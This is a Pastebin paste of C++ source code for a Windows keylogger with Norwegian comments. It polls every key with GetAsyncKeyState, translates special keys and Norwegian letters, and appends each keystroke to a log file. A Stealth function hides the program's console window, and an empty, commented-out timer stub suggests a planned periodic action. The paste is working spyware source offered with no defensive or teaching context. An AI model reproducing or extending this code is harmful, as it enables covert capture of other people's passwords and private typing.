Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using namespace std;
- char* logg_fil = "log.txt";
- short isProperKey(int i);
- void Stealth();
- void Initialize();
- void runOnTimer(char *file);
- int Save(int key_stroke, char *file);
- int main()
- {
- unsigned int i;
- int time = clock();
- while(true)
- {
- for(i = 8; i <= 255; i++) {
- if(isProperKey(i))
- if(GetAsyncKeyState(i) == -32767)
- Save(i, logg_fil);
- }
- if(clock() - time > 5000) {
- cout << time << endl;
- time = clock();
- //runOnTimer(logg_fil);
- }
- }
- return 0;
- }
- short isProperKey(int i)
- {
- int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
- short return_val = 1;
- for(int x=0; x < 13; x++)
- if(i == NOT_PROPER_KEYS[x])
- return_val = 0;
- return return_val;
- }
- void Stealth()
- {
- HWND stealth;
- AllocConsole();
- stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(stealth, 0);
- }
- void Initialize()
- {
- }
- void runOnTimer(char *file)
- {
- }
- int Save(int key_stroke, char *file)
- {
- // Tegn som ikke skal logges (hex-verdi i desimal)
- int ikke_logges[] = {
- 1, 2, 3, 4, 5, 6, 12, 13, 15, 17, 18,
- 19, 28, 29, 30, 31, 32
- };
- vector<int> v(ikke_logges, ikke_logges+17); // (+X = antall elementer i array)
- // Tegn
- char* tegn;
- tegn = (char*)malloc(30);
- // Loggfil
- FILE * OUTPUT_FILE;
- OUTPUT_FILE = fopen(file, "a+");
- if(!(binary_search(v.begin(), v.end(), key_stroke)))
- {
- switch(key_stroke)
- {
- case VK_BACK: sprintf(tegn, "[BACKSPACE]"); break;
- case VK_TAB: sprintf(tegn, "[TAB]"); break;
- case VK_SHIFT: sprintf(tegn, "[SHIFT]"); break;
- //case VK_CONTROL: sprintf(tegn, "[CTRL]"); break;
- //case VK_MENU: sprintf(tegn, "[ALT]"); break;
- case VK_CAPITAL: sprintf(tegn, "[CAPS]"); break;
- case VK_ESCAPE: sprintf(tegn, "[ESC]"); break;
- case VK_SPACE: sprintf(tegn, "[SPACE]"); break;
- case VK_DELETE: sprintf(tegn, "[DEL]");
- // Spesialtegn: Æ, ø, å, _ og -
- case 222: tegn[0] = 198; tegn[1] = '\0'; break;
- case 192: tegn[0] = 216; tegn[1] = '\0'; break;
- case 221: tegn[0] = 197; tegn[1] = '\0'; break;
- case 189: tegn[0] = GetAsyncKeyState(VK_SHIFT) ? 95 : 45; tegn[1] = '\0'; break;
- // Alle andre tegn
- default: tegn[0] = ((char*)&key_stroke)[0]; tegn[1] = '\0'; break;
- }
- fprintf(OUTPUT_FILE, "%s\n", tegn);
- fclose(OUTPUT_FILE);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement